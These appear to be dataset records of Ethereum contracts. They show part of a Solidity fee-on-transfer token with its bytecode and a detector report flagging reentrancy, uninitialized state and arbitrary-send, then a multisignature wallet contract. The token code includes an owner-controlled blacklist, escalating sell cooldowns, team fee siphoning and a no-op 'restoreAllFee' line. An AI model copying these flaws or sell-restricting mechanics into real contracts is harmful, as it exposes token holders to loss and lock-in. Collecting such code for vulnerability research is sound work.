if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 5;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (12 hours);
}
else if (sellnumber[from] == 4) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 2000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd80146102d4578063c9567bf9146102e9578063d543dbeb146102fe578063dd62ed3e1461031e578063e8078d941461036457600080fd5b8063715018a6146102415780638da5cb5b1461025657806395d89b411461027e578063a9059cbb146102b457600080fd5b8063313ce567116100d1578063313ce567146101ce5780635932ead1146101ea5780636fc3eaec1461020c57806370a082311461022157600080fd5b806306fdde031461010e578063095ea7b31461015857806318160ddd1461018857806323b872dd146101ae57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600f81526e39b434b130b1b0b5b2b99731b63ab160891b60208201525b60405161014f9190611b2f565b60405180910390f35b34801561016457600080fd5b50610178610173366004611a87565b610379565b604051901515815260200161014f565b34801561019457600080fd5b50683635c9adc5dea000005b60405190815260200161014f565b3480156101ba57600080fd5b506101786101c9366004611a47565b610390565b3480156101da57600080fd5b506040516009815260200161014f565b3480156101f657600080fd5b5061020a610205366004611ab2565b6103f9565b005b34801561021857600080fd5b5061020a61044a565b34801561022d57600080fd5b506101a061023c3660046119d7565b610477565b34801561024d57600080fd5b5061020a610499565b34801561026257600080fd5b506000546040516001600160a01b03909116815260200161014f565b34801561028a57600080fd5b5060408051808201909152600d81526c05348494243414b4553f09f8db609c1b6020820152610142565b3480156102c057600080fd5b506101786102cf366004611a87565b61050d565b3480156102e057600080fd5b5061020a61051a565b3480156102f557600080fd5b5061020a610550565b34801561030a57600080fd5b5061020a610319366004611aea565b6105a5565b34801561032a57600080fd5b506101a0610339366004611a0f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561037057600080fd5b5061020a610678565b60006103863384846109e5565b5060015b92915050565b600061039d848484610b09565b6103ef84336103ea85604051806060016040528060288152602001611cea602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611228565b6109e5565b5060019392505050565b6000546001600160a01b0316331461042c5760405162461bcd60e51b815260040161042390611b82565b60405180910390fd5b60128054911515600160c01b0260ff60c01b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461046a57600080fd5b4761047481611262565b50565b6001600160a01b03811660009081526002602052604081205461038a906112e7565b6000546001600160a01b031633146104c35760405162461bcd60e51b815260040161042390611b82565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610386338484610b09565b600f546001600160a01b0316336001600160a01b03161461053a57600080fd5b600061054530610477565b90506104748161136b565b6000546001600160a01b0316331461057a5760405162461bcd60e51b815260040161042390611b82565b601254600160a81b900460ff1661059057600080fd5b6012805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146105cf5760405162461bcd60e51b815260040161042390611b82565b6000811161061f5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610423565b61063d6064610637683635c9adc5dea0000084611510565b9061158f565b60138190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146106a25760405162461bcd60e51b815260040161042390611b82565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106df3082683635c9adc5dea000006109e5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561071857600080fd5b505afa15801561072c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075091906119f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561079857600080fd5b505afa1580156107ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d091906119f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561081857600080fd5b505af115801561082c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085091906119f3565b601280546001600160a01b0319166001600160a01b039283161790556011541663f305d719473061088081610477565b6000806108956000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108f857600080fd5b505af115801561090c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109319190611b02565b50506012805463ffff00ff60a81b198116630101000160a81b17909155671bc16d674ec8000060135560115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109a957600080fd5b505af11580156109bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e19190611ace565b5050565b6001600160a01b038316610a475760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610423565b6001600160a01b038216610aa85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610423565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b6d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610423565b6001600160a01b038216610bcf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610423565b60008111610c315760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610423565b6000546001600160a01b03848116911614801590610c5d57506000546001600160a01b03838116911614155b156111cb57601254600160c01b900460ff1615610d44576001600160a01b0383163014801590610c9657506001600160a01b0382163014155b8015610cb057506011546001600160a01b03848116911614155b8015610cca57506011546001600160a01b03838116911614155b15610d44576011546001600160a01b0316336001600160a01b03161480610d0457506012546001600160a01b0316336001600160a01b0316145b610d445760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610423565b6001600160a01b0383166000908152600a602052604090205460ff16158015610d8657506001600160a01b0382166000908152600a602052604090205460ff16155b610d8f57600080fd5b6012546001600160a01b038481169116148015610dba57506011546001600160a01b03838116911614155b8015610ddf57506001600160a01b03821660009081526005602052604090205460ff16155b8015610df45750601254600160c01b900460ff165b15610e7157601254600160a01b900460ff16610e0f57600080fd5b601354811115610e1e57600080fd5b6001600160a01b0382166000908152600b60205260409020544211610e4257600080fd5b610e4d42601e611c27565b6001600160a01b0383166000908152600b6020526040902055600560095560026008555b6000610e7c30610477565b601254909150600160b01b900460ff16158015610ea757506012546001600160a01b03858116911614155b8015610ebc5750601254600160b81b900460ff165b156111c957601254610eea9060649061063790600390610ee4906001600160a01b0316610477565b90611510565b8211158015610efb57506013548211155b610f0457600080fd5b6001600160a01b0384166000908152600c60205260409020544211610f2857600080fd5b6001600160a01b0384166000908152600d60205260409020544290610f509062015180611c27565b1015610f70576001600160a01b0384166000908152600e60205260408120555b6001600160a01b0384166000908152600e6020526040902054610ffd576001600160a01b0384166000908152600e60205260408120805491610fb183611c95565b90915550506001600160a01b0384166000908152600d602052604090204290819055610fdf90610e10611c27565b6001600160a01b0385166000908152600c602052604090205561118c565b6001600160a01b0384166000908152600e602052604090205460011415611054576001600160a01b0384166000908152600e6020526040812080549161104283611c95565b90915550610fdf905042611c20611c27565b6001600160a01b0384166000908152600e6020526040902054600214156110ab576001600160a01b0384166000908152600e6020526040812080549161109983611c95565b90915550610fdf905042615460611c27565b6001600160a01b0384166000908152600e602052604090205460031415611102576001600160a01b0384166000908152600e602052604081208054916110f083611c95565b90915550610fdf90504261a8c0611c27565b6001600160a01b0384166000908152600e60205260409020546004141561118c576001600160a01b0384166000908152600e6020526040812080549161114783611c95565b90915550506001600160a01b0384166000908152600d60205260409020546111729062015180611c27565b6001600160a01b0385166000908152600c60205260409020555b6111958161136b565b4780156111a5576111a547611262565b6001600160a01b0385166000908152600e60205260409020546111c7906115d1565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061120d57506001600160a01b03831660009081526005602052604090205460ff165b15611216575060005b611222848484846115f3565b50505050565b6000818484111561124c5760405162461bcd60e51b81526004016104239190611b2f565b5060006112598486611c7e565b95945050505050565b600f546001600160a01b03166108fc61127c83600261158f565b6040518115909202916000818181858888f193505050501580156112a4573d6000803e3d6000fd5b506010546001600160a01b03166108fc6112bf83600261158f565b6040518115909202916000818181858888f193505050501580156109e1573d6000803e3d6000fd5b600060065482111561134e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610423565b600061135861161f565b9050611364838261158f565b9392505050565b6012805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561141557600080fd5b505afa158015611429573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144d91906119f3565b8160018151811061146e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260115461149491309116846109e5565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114cd908590600090869030904290600401611bb7565b600060405180830381600087803b1580156114e757600080fd5b505af11580156114fb573d6000803e3d6000fd5b50506012805460ff60b01b1916905550505050565b60008261151f5750600061038a565b600061152b8385611c5f565b9050826115388583611c3f565b146113645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610423565b600061136483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611642565b806008546115df9190611c5f565b600855600181111561047457600a60095550565b8061160057611600611670565b61160b848484611693565b806112225761122260076008556005600955565b600080600061162c61178a565b909250905061163b828261158f565b9250505090565b600081836116635760405162461bcd60e51b81526004016104239190611b2f565b5060006112598486611c3f565b6008541580156116805750600954155b1561168757565b60006008819055600955565b6000806000806000806116a5876117cc565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116d79087611829565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611706908661186b565b6001600160a01b038916600090815260026020526040902055611728816118ca565b6117328483611914565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161177791815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117a6828261158f565b8210156117c357505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006117e98a600854600954611938565b92509250925060006117f961161f565b9050600080600061180c8e878787611987565b919e509c509a509598509396509194505050505091939550919395565b600061136483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611228565b6000806118788385611c27565b9050838110156113645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610423565b60006118d461161f565b905060006118e28383611510565b306000908152600260205260409020549091506118ff908261186b565b30600090815260026020526040902055505050565b6006546119219083611829565b600655600754611931908261186b565b6007555050565b600080808061194c60646106378989611510565b9050600061195f60646106378a89611510565b90506000611977826119718b86611829565b90611829565b9992985090965090945050505050565b60008080806119968886611510565b905060006119a48887611510565b905060006119b28888611510565b905060006119c4826119718686611829565b939b939a50919850919650505050505050565b6000602082840312156119e8578081fd5b813561136481611cc6565b600060208284031215611a04578081fd5b815161136481611cc6565b60008060408385031215611a21578081fd5b8235611a2c81611cc6565b91506020830135611a3c81611cc6565b809150509250929050565b600080600060608486031215611a5b578081fd5b8335611a6681611cc6565b92506020840135611a7681611cc6565b929592945050506040919091013590565b60008060408385031215611a99578182fd5b8235611aa481611cc6565b946020939093013593505050565b600060208284031215611ac3578081fd5b813561136481611cdb565b600060208284031215611adf578081fd5b815161136481611cdb565b600060208284031215611afb578081fd5b5035919050565b600080600060608486031215611b16578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611b5b57858101830151858201604001528201611b3f565b81811115611b6c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c065784516001600160a01b031683529383019391830191600101611be1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c3a57611c3a611cb0565b500190565b600082611c5a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c7957611c79611cb0565b500290565b600082821015611c9057611c90611cb0565b500390565b6000600019821415611ca957611ca9611cb0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047457600080fd5b801515811461047457600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005b28478576d8c8f0f548cdfb30e39f61dcea65420e63e939e5240c7f50b862464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,378 |
0x506ce57a0050ffce5fe9437f606cb1d9db17a7b5
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
